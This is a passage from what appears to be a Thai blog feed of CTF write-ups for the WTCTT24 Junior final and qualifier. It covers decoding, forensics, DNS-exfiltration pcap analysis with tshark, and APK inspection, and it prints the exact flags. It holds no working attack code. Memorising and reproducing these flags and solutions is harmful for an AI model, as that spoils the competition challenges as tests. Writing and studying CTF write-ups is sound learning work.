3338190210085793296455519657559881806177254504039477189883619618747088635044397372904871283091<br>c2 = 3338241147603304333203768006070716625461700635946153614346729157461039151388870469683278315521<br><br># หา  secret num ด้วยวิธีหลักการที่ว่า b ห่างกันเป็นหนึ่ง<br><br>secret = (c2-x2) - (c1-x1)<br>print(f&quot;secret = {secret}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*no4wYSETDwuLxG0yKkDW8w.png" /></figure><pre>secret = 50937517511036748248348510834819284446131906676424463109538713950516344473096778407032445</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Eo7o9WivNTd1fg76-Qy03w.png" /><figcaption>เอา secret ไปใส่ตอนรันโปรแกรมที่โจทย์ให้มา</figcaption></figure><p>จะได้ flag:</p><p>flag{can_you_see_bitwise_mul?_123456}</p><h3>Where is the SOURCE?— Easy</h3><p>โจทย์ให้ executable file ของ Linux มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1Benv61KcLLkbZ2dlafGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*GU15mMRO2UfMrL70z9mXig.png" /></figure><p>ลองใช้คำสั่ง strings ดูจะเจอกับสิ่งที่น่าสนใจ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*L7hgmjV8dgTJFLnBLazdQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*5fVDIxULTI2EV-4GmElfEw.png" /></figure><pre>a2V5IGlzH<br>IHNlY3IzH<br>dF9laWVpH<br>XzEyMw==H<br>15090215H<br>48072b17H<br>36573638H<br>54466c00H<br>56000056H<br>0000505cH<br>0505c505H<br>167094f</pre><p>มันมีตรง == ที่คล้าย base64 อยู่แล้วก็มีตัว H อยู่ข้างหลังทุกบรรทัดซึ่งแปลกๆ</p><p>ก็เลยลองลบๆ แก้ๆ ดู</p><pre>a2V5IGlzIHNlY3IzdF9laWVpXzEyMw==</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZP3OD1KhLYmM1lKfTwUv7g.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=YTJWNUlHbHpJSE5sWTNJemRGOWxhV1ZwWHpFeU13PT0NCg0K&amp;ieol=CRLF&amp;oeol=CRLF">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=YTJWNUlHbHpJSE5sWTNJemRGOWxhV1ZwWHpFeU13PT0NCg0K&amp;ieol=CRLF&amp;oeol=CRLF</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*CekvGKU71wpGW2pfitzh-g.png" /></figure><pre>จะได้ secret เป็น : secr3t_eiei_123</pre><p>รันโปรแกรมแล้วเอา secret ไปใส่เป็น key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*1syYbJqcNDdDzGxC5NdJPQ.png" /></figure><p>จะได้ flag:</p><p>flag{str_2_get_s3cret_555888}</p><h3>Headache— Easy</h3><p>โจทย์ให้ลิงค์เว็ปไซต์มาหนึ่งอัน <a href="http://headache.sspk.xyz/">headache.sspk.xyz</a></p><p>แต่พอคลิกเข้าไปเว็ปไซต์กลับ Redirected ไป <a href="https://ctf.in.th/womenctf2024/">https://ctf.in.th/womenctf2024/</a></p><p>ลองใช้ <a href="https://en.wikipedia.org/wiki/Burp_Suite">Burpsuite </a>เช็ค Request ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYZDvJxsdzksSRivyBdN_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EUbvUPJIW3fMCaTJ-vjkcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*RyBcXdYbblrLZWE-3pY9TA.png" /></figure><p>จะเห็น Secret ใน Response</p><pre>Secret: XRiNyr2NUgZ7tHw59s7vfi29NMRZzNRbHr2HScjrYcc3N</pre><p>เอาไปเข้า Cyber Chef</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15xJ0MUaZ_FG_JAvuMMsAQ.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,false)&amp;input=WFJpTnlyMk5VZ1o3dEh3NTlzN3ZmaTI5Tk1SWnpOUmJIcjJIU2NqclljYzNO">https://gchq.github.io/CyberChef/#recipe=From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,false)&amp;input=WFJpTnlyMk5VZ1o3dEh3NTlzN3ZmaTI5Tk1SWnpOUmJIcjJIU2NqclljYzNO</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*ip8xSQfF8U-q0DSZdr9tJw.png" /></figure><p>จะได้ flag:</p><p>flag{I_get_a_headache_2164738513}</p><h3>Walkthrough— Hard</h3><p><a href="https://walkthrough.sspk.xyz/">https://walkthrough.sspk.xyz/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*f9V083mgvtSUZdmPFNIdLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*LFLAKkBG9PCntJy_iY78PA.png" /></figure><p>โจทย์ให้ “walkthrough” คือ flag จะอยู่ในสักไฟล์เนี่ยแหล่ะ</p><p>เลย prompt ให้ chatgpt wget html file ทุก file ใน website ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*a0rCuRkPGny9KVT3bkEZkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWv0O1uBZqS89DssNfdfhw.png" /></figure><p>จริงๆ อาจจะมีวิธีอื่นที่ไวกว่าแต่ตอนแข่งเราเห็นว่ายังมีเวลาเลยใช้วิธีนี้</p><p>รันอยู่ประมาณเกือบๆ ครึ่งชั่วโมงไฟลก็โหลดเสร็จครบ</p><p>แล้วหาหา flag ในไฟล์ html อันนั้นออกมาจนกว่าจะเจอ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*oXqb4NQ2YGWPd3_QTG1-Bw.png" /></figure><p>เราใช้ <a href="https://medium.com/@_trw/regular-expressions-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3-2fab4a91ea34">Regular Expression</a> หาสิ่งที่ไม่ใช่ flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oH21XiY3--mRtJkQkstK3A.png" /></figure><pre>flag\{(?!xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx).*?\}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*5hAzPFKJWoX1nVT77PFw6g.png" /></figure><p>จะได้ flag:</p><p><em>flag{you_walk_through_my_website_7772990115}</em></p><h3>Deng Now Sis — Easy</h3><p>โจทย์ให้ไฟล์ pcap มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_j9yQkXb_i4qALOAke08w.png" /></figure><p>จะเห็นว่ามี DNS Packet เต็มไปหมดซึ่งมีตัว subdomain แปลกๆ เยอะๆ</p><p>เราเสิชไปเจอการซ่อนไฟล์ใน DNS Packet คือ DNS Exfiltration</p><blockquote>Examining Intercepts:Finding hidden flag using scapy to retrieve data in DNS &amp; breaking a ZIP file : <a href="https://youtu.be/BePREXX1Lik">https://youtu.be/BePREXX1Lik</a></blockquote><blockquote>“That’s Not My Name”(Forensic Challenge Writeup) — DownUnderCTF 2021.: <a href="https://leonuz.medium.com/thats-not-my-name-forensic-challenge-writeup-downunderctf-2021-cc8211b6f60b">https://leonuz.medium.com/thats-not-my-name-forensic-challenge-writeup-downunderctf-2021-cc8211b6f60b</a></blockquote><p>extract info column ออกมา (เราใช้ tshark โดยให้ chat ช่วย (อีกแล้ว))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYFbVpWXN50kxVvnir-mdQ.png" /></figure><pre># extract column ออกมา<br>tshark -r Deng_Now_Sis.pcap -Y &quot;dns&quot; -T fields -e dns.qry.name -e dns.a<br># ตัดให้เหลือแค่ตรงที่แปลกๆ<br>cut -d &#39;.&#39; -f 1<br># เอามา pipe รวมกันเป็น line เดียว<br>tshark -r Deng_Now_Sis.pcap -Y &quot;dns&quot; -T fields -e dns.qry.name -e dns.a | cut -d &#39;.&#39; -f 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*6b0vmmQ8vZjeZW33hBZKjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*Tb1vXtynqoTL6SZRq5q8xA.png" /></figure><pre>504B0304140008000800EB8E2F5A00000000000000000000000008002000<br>666C61672E67706775780B00010400000000040000000055540D00071B94<br>8767989487671B948767015201ADFE845E03C8489DB203AE152212010740<br>CFC43981E63C49C4FA4497E56AA6BCEE70FD60B3916EBA25167B30539C3A<br>E31630AD4A2D7C7C4609C3CFFDD7D76B4C4CB2EC9471D1F23D45A6BF216A<br>5FB1C027124E6452469F57F25668376BD9D431B9BAD4C02F01090210FED1<br>73808D1024267FA3700BAF6D504A11D037F2D42910339F06D67F89694704<br>4F19A929C13FDDB299BF02390CF69376E13361747D712B957842E047595E<br>27E5EEAF1E1294154348478872B912D645A941D716D1EB42EF9C9585AE9C<br>744CE50897ABEEA6F364AA0D1AA398A7A0402483B02B53F804FD6364D74D<br>75ADFF5893B518884B5B1DEBCD0CD43CC92C92B2A99E964150012AE50118<br>25D4416E22B6B773A3277096938AC75CE29921797667D979AC641E91E9FB<br>FB169A1E38809AF00624552C29158FD0A1DBC97752A87E5330E85BE02619<br>C0FDA0E7935BA43A61AEA4590E34685E0CE95989D62CB5504B070801CCDE<br>8D5701000052010000504B0304140008000800E7A12C5A00000000000000<br>00000000000A0020005345435245542E61736375780B0001040000000004<br>0000000055540D000762C08367909487675FC083677D52C9AEA24000BC93<br>F00FDEC90BAEA88777E86EBAA101915616E1A6B20A88802CFAF5E3BC9964<br>6E53D7AA5452CBD7D707102BD49C588A35B10ED405369EE8D89F40638FF4<br>DFF417CFF15C41121C2CF7A29EFA9A3EF81002F57C183610B01054829F8D<br>A364ECC597FD765420D59B425B1CE42E6E8247B4A5A7D96DC373D5360B2E<br>7A050043724ED3A2484F561E32C544551FF5377809C5BC28574A6BF78A2A<br>B8C636ED8A3744B727328DE094273CA7E3A0BF665076B19FD8F3551B1DF3<br>C452C35BA8042098CFD2B33774FE7CFBB4AA2C8070E7A1044292611CAB81<br>B6145AC4735BDF94C05DC2B579CEEBB82917DA92803292FB578594614710<br>F36E9AE41334E4140E14D1842A84551A022D82D0FF3880012335B922B204<br>002539FBE724BD4C20AFE1B355087D74F8004A63F1180F745C41F5AD6FE5<br>68F4A472C173A6EC6C9C6B79E99B2B10B3F3528BEF5539CBDA0B0D813088<br>6F7D2E3BF1990DB8D88D784149ECF56E573BCA9D4C7F16F8F49052FDCF06<br>CAC96598008655B66BDCD99448198032BB36FB876311B1F3B2D0969D1E5F<br>5B90323FB64DB328FDF74F8A4F3E00C459F89817ED80ADC05725456EF371<br>9D11AB791C9F73DB3BD677AF5425B38D8536AFB025D038613E492AC0735A<br>EAA7501DE7C7C86A40EFC951A209A97EF31EFA5D5A3D5F1164DA3D596F6A<br>90B63BC87252BDA212804AC37F353CF75B45A6000253D65CA9CBDB17399B<br>26B5F61BC1D8048A2FA879DAAEA9EBA847DBD4B672D0262BC0E43A278A57<br>53EDC873F4400367369C9A52452FC3F103D1509BC21B63752AE0FBF30D87<br>EF6F9EFBDE07DD85E77E9E8C4DF9BF3FFF05504B0708DE7DE06755020000<br>0F030000504B01021403140008000800EB8E2F5A01CCDE8D570100005201<br>0000080018000000000000000000B68100000000666C61672E6770677578<br>0B00010400000000040000000055540500011B948767504B010214031400<br>08000800E7A12C5ADE7DE067550200000F0300000A001800000000000000<br>0000B681AD0100005345435245542E61736375780B000104000000000400<br>000000555405000162C08367504B050600000000020002009E0000005A04<br>00000000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_BFP9jmiUQtslnt1ZId6Tw.png" /></figure><p>เห็นว่าเป็น Hex เลยแปลงแล้วลอง Extract file ดูจะเจอ zip file ก็ Download มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*th30bKQnwoOZeWNH8_i27g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/178/1*i7MGHEjA-phgc7HclUafkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*jTt-12N1bz_4OaG9ElUDog.png" /></figure><p>เอา terminal อันนี้ไปถาม chatgpt เพราะไม่รู้ว่าคืออะไร</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*0WyAMMRDgaMfdZb1WOk97w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Isq9HqGEgRNHdSPcCLVsw.png" /></figure><p>จะได้ flag:</p><p>flag{a_dode_deung_deung_deung_deung_tao_moo_deng_4626162780}</p><p>จบแล้วกับ writeup WTCTT24 Junior final เป็นประสบการณ์ที่ดีมากสุดๆ แต่ยังใช้ chatgpt ช่วยค่อนข้างเยอะเพราะยังเป็นคนอ่านโค้ดไม่ค่อยออกและเขียนโค้ดไม่ค่อยช่ำ555555 ขอบคุณที่อ่านมาจนจบ Have fun playing CTF krub</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=53134e04ebcb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Writeups WTCTT24 Junior Qualifier | Mc4minta]]></title>
            <link>https://medium.com/@mc4minta/wtctt24-writeups-mc4minta-812e0acfb906?source=rss-562565b0d666------2</link>
            <guid isPermaLink="false">https://medium.com/p/812e0acfb906</guid>
            <category><![CDATA[wtctt24]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[thailand-cyber-top-talent]]></category>
            <category><![CDATA[mc4minta]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Mc4minta]]></dc:creator>
            <pubDate>Sun, 12 Jan 2025 15:46:35 GMT</pubDate>
            <atom:updated>2025-04-15T10:42:50.626Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*mPcAHdUrpRw5a_-1.png" /></figure><h4>Competition information:</h4><p>Date: 12 January 2025</p><p>Time: 9:00–16:00 (7 hours)</p><p>Team rank: #4 (2700 points)</p><p>Individual rank: #6 (1500 points)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*99yhLZpS1_UkH_oWdc6x2w.png" /><figcaption>Final leaderboard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*vmGMHJUdV5coz-BZ_d_GfA.png" /><figcaption>Problems Dashboard</figcaption></figure><h3>Writeups list:</h3><ul><li>Crypto 01</li><li>Crypto 02</li><li>Crypto 03</li><li>For 1- Android Browser History</li><li>For 2- Secret Message</li><li>Mobile 01</li><li>Mobile 02</li><li>Pro 01</li><li>Pro 02</li><li>Re 01</li><li>Re 02</li><li>Net 1 — Reverse Shell Analysis</li><li>Net 2 — Reverse Shell Pro Max Analysis</li></ul><h3><strong>Crypto 01 — Easy</strong></h3><p>เริ่มมาก็มีไฟล์ zip ก็โหลดแล้วก็แตกไฟล์</p><p>จะเห็นไฟล์ชื่อ</p><pre>ZmxhZ3s2NG + VmMDdjZTNlNG + I0MjBjMzM0MjI3ZW + VjYjNiM2Y0Y30.htm</pre><p>เอาเว้นวรรค เครื่องหมายบวกแล้วก็ extension ออกจะได้</p><p>ZmxhZ3s2NGVmMDdjZTNlNGI0MjBjMzM0MjI3ZWVjYjNiM2Y0Y30</p><p>เอาไปเข้า cyberchef From base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gg0DjeTWh2LaBP-jWWJWDw.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9-_&#39;,true,false)&amp;input=Wm14aFozczJOR1ZtTURkalpUTmxOR0kwTWpCak16TTBNakkzWldWallqTmlNMlkwWTMw">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9-_&#39;,true,false)&amp;input=Wm14aFozczJOR1ZtTURkalpUTmxOR0kwTWpCak16TTBNakkzWldWallqTmlNMlkwWTMw</a></figcaption></figure><p>จะได้ flag:</p><p>flag{64ef07ce3e4b420c334227eecb3b3f4c}</p><h3>Crypto 01 — Medium</h3><p>โหลด zip แตกไฟล์เหมือนเดิม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KtN0XhzCy9LU4klqn77w5w.png" /></figure><p>ชื่อไฟล์</p><p>BitcoinT9zmpnUq1unvPKgQg5TY1i6xOgoWlH6nXRFSPcK5x4Xk6fwZJMtLGaiusJuliusCaesarRotateXIII.htm</p><p>จะสังเกตว่ามีคำว่า</p><p>JuliusCaesarRotateXIII</p><p>อยู่ข้างหลัง คิดว่าน่าจะหมายถึง ROT13</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5OgO7bW9m3jU2vlxJBu9sg.png" /><figcaption><a href="https://en.wikipedia.org/wiki/ROT13">https://en.wikipedia.org/wiki/ROT13</a></figcaption></figure><p>ตัดคำว่า Bitcoin กับคำใบ้วิธีการเข้ารหัสกับ extension จะได้</p><p>T9zmpnUq1unvPKgQg5TY1i6xOgoWlH6nXRFSPcK5x4Xk6fwZJMtL</p><p>เอาไปเข้า Cyber Chef ROT13 + From Base58</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeXedtcz8RBdISm7H-ZLxQ.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,false)&amp;input=VDl6bXBuVXExdW52UEtnUWc1VFkxaTZ4T2dvV2xINm5YUkZTUGNLNXg0WGs2ZndaSk10TA&amp;oeol=NEL">https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,false)&amp;input=VDl6bXBuVXExdW52UEtnUWc1VFkxaTZ4T2dvV2xINm5YUkZTUGNLNXg0WGs2ZndaSk10TA&amp;oeol=NEL</a></figcaption></figure><p>จะได้ flag:</p><p>flag{455d3a9d457fbb7343bd6fbb9dcc1d11}</p><h3>Crypto 01 — Hard</h3><p>โหลด zip แตกไฟล์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*tf4cVctMEiGKNlnVy_oDWQ.png" /></figure><p>จากชื่อไฟล์ก็ได้ได้ว่าข้อนี้ต้องเกี่ยวกับการ Reverse text x2 อะไรสักอย่าง</p><p>พอเปิดไฟล์เข้ามาก็จะเจอกับ ชื่อไฟล์ที่ถูก reverse ไว้แล้วก็ text ที่คล้ายๆ base64 อีกสามอัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*WU1Xx_QKVdSMzgux-E1Gcw.png" /><figcaption>2x txeT esreveR.docx</figcaption></figure><p>yWEvfLGWeWVPh5GLyZN5LD9CMADuE<strong>1</strong>aeQZEuHAppraKHkpMUEGXK</p><p>yWEvfLGWeWVPh5GLyZN5LD9CMADuE<strong>2</strong>aeQZEuHAppraKHkpMUEGXK</p><p>yWEvfLGWeWVPh5GLyZN5LD9CMADuE<strong>3</strong>aeQZEuHAppraKHkpMUEGXK</p><p>จะสังเกตว่า 3 อันนี้แตกต่างกันแค่เลขตรงกลาง</p><p>โจทย์บอกให้ reverse 2x เราก็เลยเอาไปเข้า cyber chef โดยการ reverse แล้วก็ decode from base58 แค่อันที่มีเลข 2 แล้วก็ reverse</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOa9MjzATrmAbyUi0b6m8A.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=Reverse(&#39;Character&#39;)From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,false)Reverse(&#39;Character&#39;)&amp;input=eVdFdmZMR1dlV1ZQaDVHTHlaTjVMRDlDTUFEdUUyYWVRWkV1SEFwcHJhS0hrcE1VRUdYSw&amp;oeol=VT">https://gchq.github.io/CyberChef/#recipe=Reverse(&#39;Character&#39;)From_Base58(&#39;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&#39;,false)Reverse(&#39;Character&#39;)&amp;input=eVdFdmZMR1dlV1ZQaDVHTHlaTjVMRDlDTUFEdUUyYWVRWkV1SEFwcHJhS0hrcE1VRUdYSw&amp;oeol=VT</a></figcaption></figure><p>จะได้ flag:</p><p>flag{c19aef4369bcc13471e9e6a1ed635335}</p><h4>For 1- Android Browser History</h4><p>ข้อนี้โจทย์บอกให้หา flag ในภาพแมวที่ Download ได้จาก link ที่ผู้โจมตีเข้าไปโดยจะให้ไฟล์มาแล้วก็ให้คำใบ้มาเป็น link github อันนึง (ไม่ได้แคปโจทย์ไว้🥶)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*edqmA7DClEgkum1HWGXyZg.png" /><figcaption><a href="https://github.com/abrignoni/ALEAPP/releases/tag/v3.2.5">https://github.com/abrignoni/ALEAPP/releases/tag/v3.2.5</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9negNAxyzfIpHBOnqvrtJA.png" /><figcaption><a href="https://github.com/abrignoni/ALEAPP">https://github.com/abrignoni/ALEAPP</a></figcaption></figure><p>จะเห็นว่า link ที่ให้มาเป็น link Download Software ตัวนึงชื่อ ALEAPP พอเราลองอ่านๆ ดูก็พบว่าเป็น Software ช่วยวิเคราะห์เกี่ยวกับ Android อะไรสักอย่าง</p><p>เราก็เลยจิ้มโหลดของ window แบบ GUI มา (<a href="https://github.com/abrignoni/ALEAPP/releases/download/v3.2.5/aleappGUI-3.2.5-Windows.zip">aleappGUI-3.2.5-Windows.zip</a>)</p><p>พอโหลดมาก็แตกไฟล์แล้วก็รันตัวโปรแกรม aleappGUI.exe ก็จะได้หน้าต่างแบบนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RqAIRnutf4VAOL12SBdvQg.png" /></figure><p>Browse File เลือก file zip ที่โจทย์ให้มาวิเคราะห์ ส่วน output folder ตามใจฉัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POLgoXp-ylX1yUuS1eNrNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KVpgm9HTP3dwCq2VLLEzA.png" /></figure><p>พอกดปุ่ม Process ด้านล่างโปรแกรมก็จะทำงานของมันไป พอมันทำงานเสร็จเราก็กดปุ่ม Open Report &amp; Close มันก็จะพาเราไปหน้าเว็ป Report สิ่งที่ Software มันวิเคราะห์มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IdjI2GPp9W7KvoC7J3xaMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*UoMlR5Gi4-lQVAJweHq_lQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rotbBa8BItZkyOYkaGk4Ng.png" /></figure><p>เรารู้ว่าโจทย์ให้หาเกี่ยวกับไฟล์อะไรสักอย่างก็เลยลองคลิกไปดูที่ตัว tab “Chrome-Downloads” แล้วก็เจอ link ที่มี file png อยู่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*ojr8sokuF2E503MQBQEWPA.png" /><figcaption><a href="https://gcdnb.pbrd.co/images/Zg8CcJioW4dT.png">https://gcdnb.pbrd.co/images/Zg8CcJioW4dT.png</a></figcaption></figure><p>พอเราคลิกเข้าไปก็จะเจอกับภาพน้องแมวเราก็ Download ออกมา ด้วยความที่โจทย์บอกให้หา flag ในภาพเราก็เลยลองใช้คำสั่ง strings ดูแล้วก็เจอ flag เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*lKsIeKkDji933tv2d77K5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*dqRxzui0yh35uiXOXZevnQ.png" /></figure><pre>$strings Zg8CcJioW4dT.png</pre><p>จะได้ flag:</p><p>flag{junior_for1_d92bd06f78386be88198ef8daf4e8e0d}</p><h4>For 2- Secret Message</h4><p>ข้อนี้คล้ายกับข้อแรกเลยคือมีไฟล์มาให้แล้วก็ใช้ ALEAPP ที่เขาใบ้มาวิเคราะห์เหมือนเดิม โดยโจทย์บอกว่าให้หา password มาแตก file zip ลับของ ผู้โจมตีเพื่อเอา flag ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_p1YtSzeMyBML3Wz5W9NIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4XRPMS1jKn_NzVIX8LUaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*ByIyuqXb0Jz4ijg54qmWQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCuN58bRdDCIJccvb3uDaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*y1jJXtWYmWhn7_rJD6fczw.png" /></figure><p>จะได้ password : LQxw0]Lp5gUkVu/@</p><p>แต่เรายังไม่มี file zip ลับที่มี flag อยู่ เราก็เลยลองแตก file zip ของโจทย์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*oXVB-XGBZ6x_M7qTyRCDiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*K-vd-DE_6QoahxDiFsCUTw.png" /></figure><p>เราก็ค่อยยๆ ลองหาๆ ดูก็จะเจอ file ชื่อ “fl4g.zip”</p><p>path: \junior_for2\data\data\com.andromo.dev583642.app725633\files</p><p>แล้วก็เอา password ที่ได้มาแตกไฟล์ zip นี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*7iNo5vBt6Mjv-7Ymdt8huA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*B3eVrT5dv6W967_-QydztA.png" /></figure><p>จะได้ flag:</p><p>flag{junior_for2_633bfe75423fa587907acdf0d92c9d4f}</p><h4>Mobile 01</h4><p>แตกไฟล์ zip ออกมาจะเจอไฟล์ SmallFun.apk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*xPWvKN_zkQrp0rR0yKSrkA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*yszwks8SmaZ67PXQeEm-Og.png" /></figure><p>เราเอาไฟล์ apk ไปเข้า jadxgui ที่เป็น decompiler แล้วก็เจอ flag อยู่ใน</p><p>Resources &gt;&gt; assets &gt;&gt; flag.txt</p><p>จะได้ flag:</p><p>flag{ 06f1c7a2741b8cc8fd7a4527ad390995}</p><h4>Mobile 02</h4><p>เหมือนเดิมเลย แตกไฟล์แล้วก็เอาไฟล์ apk ไปเข้า jadxgui</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuGaiHOjmbesl7E6w8jjoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/147/1*tHsUlm4rzulduIMJTK0sLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*Qe8xjjwTLOXiCJy5-En-Sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D6dbJNYAwStRLNlJMYLD8A.png" /></figure><p>คลิกหามันเหนื่อยเกินเราเลยใช้ปุ่ม Search หาคำว่า flag{</p><p>ก็จะเห็น flag อยู่ใน file AndroidManifest.xml</p><p>จะได้ flag:</p><p>flag{9dc0a46ef3a391725eed5563d69ec084}</p><h4>Pro 01</h4><p>โจทย์ให้ code python มา</p><pre>import hashlib<br><br>def main():<br>    print(&quot;=== Roll the Dice for the Highest Score ===&quot;)<br>    print(&quot;Each die has 6 sides (1-6)&quot;)<br>    print(&quot;If you roll the highest number (6) on each die and need a total score of 24,&quot;)<br>    print(&quot;how many dice would you need?&quot;)<br>    print(&quot;------------------------&quot;)<br>    <br>    try:<br>        dice = int(input(&quot;Enter the number of dice: &quot;))<br>        <br>        MAX_SUM = dice * 6<br>        <br>        if MAX_SUM == 24:<br>            fIag = &quot;flag{d1c3_1s_l1f3}&quot;<br>            secret = &quot;dice_master&quot;<br>            flag = hashlib.md5(f&quot;{secret}:{dice}&quot;.encode()).hexdigest()<br>            print(f&quot;\nCongratulations! You answered correctly!&quot;)<br>            print(f&quot;Flag: flag{{{fIag}}}&quot;)<br>        else:<br>            print(f&quot;\nIf you roll {dice} dice,&quot;)<br>            print(f&quot;The maximum possible score is {MAX_SUM}.&quot;)<br>            print(f&quot;(You need a total score of 24)&quot;)<br>            print(&quot;Try again!&quot;)<br><br>    except ValueError:<br>        print(&quot;\nPlease enter numbers only.&quot;)<br>main()</pre><p>อ่านดูเหมือนจะได้ flag 